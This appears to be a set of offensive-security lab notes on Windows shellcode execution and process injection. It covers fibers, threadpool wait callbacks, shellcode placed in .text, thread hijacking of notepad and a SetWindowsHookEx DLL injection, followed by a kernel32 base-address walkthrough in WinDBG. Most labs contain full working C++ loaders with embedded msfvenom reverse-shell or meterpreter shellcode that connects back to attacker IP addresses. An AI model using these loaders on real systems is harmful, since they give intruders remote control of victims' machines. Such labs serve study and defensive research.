 	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xac\x14\x0a\x07\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

	PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(shellcodeLocation, shellcode, sizeof shellcode);

	#	create a fiber that will execute the shellcode
	PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL);
	
	# manually schedule the fiber that will execute our shellcode
	SwitchToFiber(shellcodeFiber);

	return 0;
}
```

Running the code executes the shellcode us a reverse shell:

![](/files/-M8fLb-YygmZ6YxRPcUX)

## References

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/procthread/fibers>" %}

{% embed url="<https://nullprogram.com/blog/2019/03/28/>" %}

{% embed url="<http://dronesec.pw/blog/2019/08/12/code-execution-via-fiber-local-storage/>" %}


# Shellcode Execution via CreateThreadpoolWait

This is a quick lab to explore the sequence of APIs, that can execute shellcode by invoking a callback function passed to `CreateThreadpoolWait`.

## Technique Overview

1. `CreateEvent` is used to create an event object with a `Signaled` state
2. RWX memory for the shellcode is allocated with `VirtualAlloc` and the shellcode is written there
3. `CreateThreadpoolWait` is used to create a wait object. 1st argument of the function is a callback function, that will be called once the wait ends (immediately in our case, since our waitable event is in the `Signaled` state from the start). We will pass the address of our shellcode (allocated in step 2) as the callback function
4. `SetThreadpoolWait` is used to set wait object to the wait object created in step 3
5. `WaitForSingleObject` is used to wait for the waitable object to become `Signaled`, but since our event (waitable) object was created with a `Signaled` state in step 1, our callback function specified in step 3 is called and the shellcode is executed right away:

![](/files/-MByeqLKxcH_eI1owS4Q)

## Code

```cpp
#include <windows.h>
#include <threadpoolapiset.h>

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


int main()
{
	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, NULL);
	WaitForSingleObject(event, INFINITE);
	
	return 0;
}
```

## References

<https://gist.github.com/alfarom256/180c90c2bc0ae6bfa5d109d822ea77a4>


# Local Shellcode Execution without Windows APIs

It is possible to execute shellcode from a local process without using the well known Windows APIs such as `VirtualAlloc`, `CreateThread` or similar. Malware is know to use this technique, so I wanted to capture it too.

To achieve this, we need to use MS Visual C++ and a `section` pragma, alongside the `allocate` declarator specifier, to tell the compiler that we want our shellcode to be allocated inside the `.text` section of our portable executable, which eliminates the need for the program to allocate RWX memory blob for storing the shellcode. Additionally, we need to cast the array containing our shellcode into a function pointer and invoke it - this allows us to skip the `CreateThread` or similar Windows APIs that are usually used for jumping to the shellcode.

![](/files/-MFaZ8pDoydgxawduK90)

## Code

```cpp
#pragma section(".text")

// msvenom -p windows/x64/shell_reverse_tcp lhost=X lport=Y -f c
__declspec(allocate(".text")) char goodcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

int main()
{
    (*(void(*)())(&goodcode))();
}
```

After compiling the above code and inspecting the `.text` section of the PE, we can see our shellcode right at the beginning:

![](/files/-MFaatEbIu846ObkaVK-)

## References

{% embed url="<https://docs.microsoft.com/en-us/cpp/preprocessor/section?view=vs-2019>" %}

{% embed url="<https://docs.microsoft.com/en-us/cpp/cpp/allocate?view=vs-2019>" %}


# Injecting to Remote Process via Thread Hijacking

This is a quick lab that looks at the API sequence used by malware to inject into remote processes by leveraging a well known thread hijacking technique.

## Overview

Below lists the API calls that are required to execute this technique:

1. Open a handle `targetProcessHandle` to the process (notepad in our case) we want to inject to with `OpenProcess`
2. Allocate some executable memory `remoteBuffer` in the target process with `VirtualAllocEx`
3. Write shellcode we want to inject into the memory `remoteBuffer` (allocated in step 2), using `WriteProcessMemory`
4. Find a thread ID of the thread we want to hijack in the target process. In our case, we will fetch the thread ID of the first thread in our target process (notepad). We will leverage `CreateToolhelp32Snapshot` to create a `snapshot` of target process's threads and eumerate them with `Thread32Next`. This will give us the thread ID we will be hijacking.
5. Open a handle `threadHijacked` to the thread to be hijacked using `OpenThread`
6. Suspend the target thread - the thread we want to hijack (`threadHijacked`) with `SuspendThread`
7. Retrieve the target thread's context with `GetThreadContext`
8. Update the target thread's (retrieved in step 6) instruction pointer (`RIP` register) to point to the shellcode, which was written into the target process's memory in step 3 using `WriteProcessMemory`
9. Commit the hijacked thread's (upadated in step 7) new context with `SetThreadContext`
10. Resume the hijacked thread with `ResumeThread`
11. Enjoy the reverse shell

## Walkthrough

Steps 1-3 of the technique overview are self-explanatory and have been covered in more detail in my notes in [Code & Process Injection](/offensive-security/code-injection-process-injection) section.

In step 4, what happens is that we simply find our target process's (notepad) main thread ID as seen in the below image:

![](/files/-MGEmR86_k1rOcdeqjLM)

In step 5, a handle to that thread `14100` is opened with:

```cpp
threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, 14100);
```

![](/files/-MGEnR_-YrnDKPrmICz7)

In step 6, that thread (TID `14100`) with handle `threadHijacked` is suspended with

```cpp
SuspendThread(threadHijacked);
```

![](/files/-MGEnpls6ED2PYbJa5zm)

In step 7, we retrieve the hijacked thread's context, which contains CPU registers at that time, among other things. We need to capture the context, since we will be updating the hijacked thread's instruction pointer RIP in steps 8 and 9, and we do not want the hijacked process to crash once we resume it:

![](/files/-MGEpbQivmHVTgnkjIsb)

After executing steps 8 and 9, the hijacked thread's RIP is now pointing to the shellcode in our target process notepad.exe memory location `0x000002736ccf0000`:

![](/files/-MGEqIGoJXiJKEWv2H6V)

![](/files/-MGEr0jg7tLePGZJxf0q)

In step 10, once the hijacked thread (`threadHijacked`) is resumed, the shellcode is executed and a reverse shell is executed:

![](/files/-MGEsBsdsSYpgWC9kbti)

Below shows the technique in action:

![](/files/-MGEtDYv6NqUipTmsYoZ)

## Code

```cpp
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

int main()
{
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
		"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
		"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
		"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
		"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
		"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
		"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
		"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
		"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
		"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
		"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
		"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
		"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
		"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
		"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
		"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
		"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
		"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

	HANDLE targetProcessHandle;
	PVOID remoteBuffer;
	HANDLE threadHijacked = NULL;
	HANDLE snapshot;
	THREADENTRY32 threadEntry;
	CONTEXT context;
	
	DWORD targetPID = 15048;
	context.ContextFlags = CONTEXT_FULL;
	threadEntry.dwSize = sizeof(THREADENTRY32);
	
	targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
	remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
	
	snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	Thread32First(snapshot, &threadEntry);

	while (Thread32Next(snapshot, &threadEntry))
	{
		if (threadEntry.th32OwnerProcessID == targetPID)
		{
			threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
			break;
		}
	}
	
	SuspendThread(threadHijacked);
	
	GetThreadContext(threadHijacked, &context);
	context.Rip = (DWORD_PTR)remoteBuffer;
	SetThreadContext(threadHijacked, &context);
	
	ResumeThread(threadHijacked);
}
```


# SetWindowHookEx Code Injection

Windows allow programs to install hooks to monitor various system events such as mouse clicks and keyboard key presses by using `SetWindowHookEx`.

In this lab `SetWindowHookEx` is used to inject a malicious DLL into notepad.exe, which then executes  meterpreter shellcode.

## Overview

The workflow of the technique is as follows:

1. Create a malicious DLL that exports one function, which when invoked, executes meterpreter shellcode
2. Create another program that loads the malicious binary by:
   1. Resolving address of the exported function
   2. Installing a keyboard hook. The hook is then pointed to the exported function
3. Notepad.exe is launched by the victim and a keypress is registered
4. Since keyboard events are hooked, notepad.exe loads in our malicious dll and invokes the exported function
5. Metepreter session is established on the attacking system

## Execution

Let's create a DLL with an export a function `spotlessExport` that executes meterpreter shellcode when invoked:

![](/files/-Lg-Gh3aGuc4RbSxNhNx)

Compile the DLL and check if the export was successful. We can use `dumpbin.exe` to do this, but first we need to find it (if we have Visual Studio installed):

```csharp
cmd /c dir /s/b c:\dumpbin*
```

![](/files/-Lg-HrnOHi0l3dLYcG4d)

Then use it like so to dump the exported functions:

```
dumpbin.exe dllhook.dll /exports
```

Below shows the output of exported functions for `dllhook.dll` as presented by `CFF Explorer` (left) and dumpin:

![](/files/-Lg-HgZhRlrQMg0AnLx2)

## Demo

Below shows the technique in action:

* Process Explorer (top right) with notepad (bottom right) selected
* In the middle - the code that installs the hook to all threads that are in the same desktop as the calling thread
* Attacking system with multi-handler on the left - ready to catch the meterpreter
* Once the hook is installed and a key is pressed in when notepad is in focus, `dllhook.dll` is loaded into `notepad.exe` process and our malicious exported function `exportedSpotless` is executed, which in turn results in a meterpreter shell

![](/files/-Lg-FGij2vrEpNhS_sLm)

## Code

Both `hooks.cpp` and `dllhook.cpp` are provided below:

{% tabs %}
{% tab title="hooks.cpp" %}

```cpp
#include "pch.h"
#include <iostream>
#include <Windows.h>

int main()
{
	HMODULE library = LoadLibraryA("dllhook.dll");
	HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "spotlessExport");

	HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0);
	Sleep(10*1000);
	UnhookWindowsHookEx(hook);

	return 0;
}
```

{% endtab %}

{% tab title="dllhook.cpp" %}

```cpp
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
	case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

extern "C" __declspec(dllexport) int spotlessExport() {
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

	void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcode, sizeof shellcode);
	((void(*)())exec)();
	
	return 0;
}
```

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-setwindowshookexa>" %}

{% embed url="<https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-declspec-dllexport?view=vs-2019>" %}


# Finding Kernel32 Base and Function Addresses in Shellcode

The purpose of this lab is to understand how shellcode finds kernel32 base address in memory of the process it's running in and then uses to find addresses of other functions that it requires in order to achieve its goal.&#x20;

In this lab I will write some assembly to find the kernel32 dll's base address, resolve `WinExec` function address in memory and call it to open `calc.exe`.

## Finding Kernel32 Base Address

It's well known that shellcode usually leverages the following chain of internal Windows OS memory structures in order to resolve the kernel32 base address which I am going to walk through in WinDBG:

```
TEB->PEB->Ldr->InMemoryOrderLoadList->currentProgram->ntdll->kernel32.BaseDll
```

One important thing to keep in mind is that kernel32.dll is always loaded into the same address for all the processes - regardless if you open a calc.exe, notepad.exe, or any other Windows process. Below shows my program for this lab on the left and another random program on the right - in both cases, the kernel32.dll (and ntdll...) got loaded into the same memory address:

![](/files/-LjkO03Sd-6WfDgASDH2)

Let's get back to the:

```
TEB->PEB->Ldr->InMemoryOrderLoadList->currentProgram->ntdll->kernel32.BaseDll
```

...and go into these with more detail.

### Structures

The first important OS structure of the chain is called a Thread Environment Block (TEB) which contains information about the process's thread, including one member that is a pointer to another very important structure called Process Environment Block (PEB, offset 0x30) where information about the process itself (image path, commandline arguments, loaded modules and similar) is stored:

```
dt _teb
```

![](/files/-LjkT50N2p7EXyfSGZx5)

Inside the `PEB` structure, there is a member `Ldr` which points to a `PEB_LDR_DATA` structure (offset 0x00c):

```
dt _peb
```

![](/files/-LjkSIzP30iyzGZzlVXa)

`PEB_LDR_DATA` contains a pointer to `InMemoryOrderModuleList` (offset 0x14) that contains information about the modules that were loaded in the process:

```
dt _PEB_LDR_DATA
```

![](/files/-LjkUu-rG-ij4kUUIgme)

`InMemoryOrderModuleList` points to another structure we're interested in - `LDR_DATA_TABLE_ENTRY` even though WinDBG suggests the structure type is `LIST_ENTRY`. As confusing as it may seem at first, this is actually right, since `InMemoryOrderModuleList` is a doubly linked list where each list item points to an `LDR_DATA_TABLE_ENTRY` structure.&#x20;

Remember, since the shellcode is looking for the kernel32.dll base address, the `LDR_DATA_TABLE_ENTRY` is the last structure in the chain of structures it needs to locate. Once the structure is located, the member `DllBase` at offset 0x18 stores the base address of the module:

```
dt _LDR_DATA_TABLE_ENTRY
```

![](/files/-LjkVKSfdsks5ThFV3RA)

### Initialized Structures

Let's now repeat the same exercise as above, but this time using real memory addresses so we can see how those memory structures look like in a real process with real data. Let's check the `PEB` and note the `Ldr` pointer (77de0c40):

```
!peb
```

![](/files/-LjkZsDUJBT1-ui-QHIy)

We can achieve the same result by overlaying the @$peb address over the PEB structure:

```
dt _peb @$peb
```

![Ldr points to 0x77de0c40](/files/-LjkYP9N3CG5PM4rAi6S)

From the above, we can see that the `PEB.Ldr` (`Ldr` member is at offset 0x00c) points to an `PEB_LDR_DATA` structure at 0x77de0c40.&#x20;

We can view the `PEB_LDR_DATA` structure at 0x77de0c40 by overlaying it with address pointed to by the PEB.Ldr (0xc) structure like so:

```
dt _PEB_LDR_DATA poi(@$peb+0xc)
```

![](/files/-LjkamiDPFpg0d8otKjO)

Remember that `PEB.Ldr` was pointing to 0x77de0c40. We can double check that what we're doing so far is correct by dereferrencing the pointer @$PEB+0xC which should be equal to 0x77de0c40, which we see it is:

```
? poi(@$peb+0xc)
dt _PEB_LDR_DATA 77de0c40
```

![](/files/-LjkfALj-5UAOvXpcSKd)

